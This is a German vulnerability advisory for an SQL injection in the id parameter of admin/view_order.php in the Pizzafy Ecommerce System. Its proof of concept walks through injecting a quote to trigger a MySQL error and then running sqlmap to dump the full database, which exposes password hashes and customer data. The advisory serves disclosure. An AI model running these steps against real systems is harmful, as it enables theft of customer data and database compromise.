SQL-Injection im Pizzafy Ecommerce System — admin/view_order.php

Details

https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html

Betroffene Komponente

Datei: Pizzafy/admin/view_order.php
Parameter: id (GET)

Beschreibung

Der Endpunkt admin/view_order.php im Pizzafy Ecommerce System 1.0 bereinigt den GET-Parameter id nicht ordnungsgemäß, bevor er an eine MySQL-Abfrage übergeben wird. Ein authentifizierter Administrator kann diesen Parameter manipulieren, um beliebiges SQL einzuschleusen, was zu einer vollständigen Kompromittierung der Datenbank führt.

Proof of Concept

Schritt 1 — Als Administrator anmelden

Navigieren Sie zu:

http://localhost/pizzafy/Pizzafy/admin/index.php

Melden Sie sich mit Administrator-Anmeldedaten an.

Schritt 2 — Zu Bestellungen navigieren

http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

Klicken Sie bei einem beliebigen Bestelleintrag auf View Order.

Schritt 3 — Anfrage in Burp Suite abfangen

Die abgefangene GET-Anfrage sieht wie folgt aus:

Schritt 4 — SQL-Fehler auslösen

Ändern Sie id=1 zu id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1

Antwort — MySQL-Fehler offengelegt:

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15

Schritt 5 — Mit sqlmap ausnutzen

Speichern Sie die Anfrage in view_order.txt und führen Sie aus:

sqlmap -r view_order.txt --dump --batch

sqlmap bestätigte Injection-Typen:

Vollständige Datenbank ausgelesen:

Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings

Offengelegte sensible Daten umfassen bcrypt-Passwort-Hashes, Kunden-E-Mails, Bestelldetails und Systemkonfiguration.

Auswirkungen

Ein böswilliger authentifizierter Administrator (oder ein Angreifer, der Administrator-Anmeldedaten erlangt hat) kann:

• Die vollständige Datenbank inklusive Passwort-Hashes auslesen
• Sensible Kundendaten (PII) einsehen (Namen, E-Mails, Adressen, Telefonnummern)
• Möglicherweise in die Datenbank schreiben

Referenzen

• SourceCodester — Pizzafy Ecommerce System
• CWE-89: Improper Neutralization of Special Elements used in an SQL Command.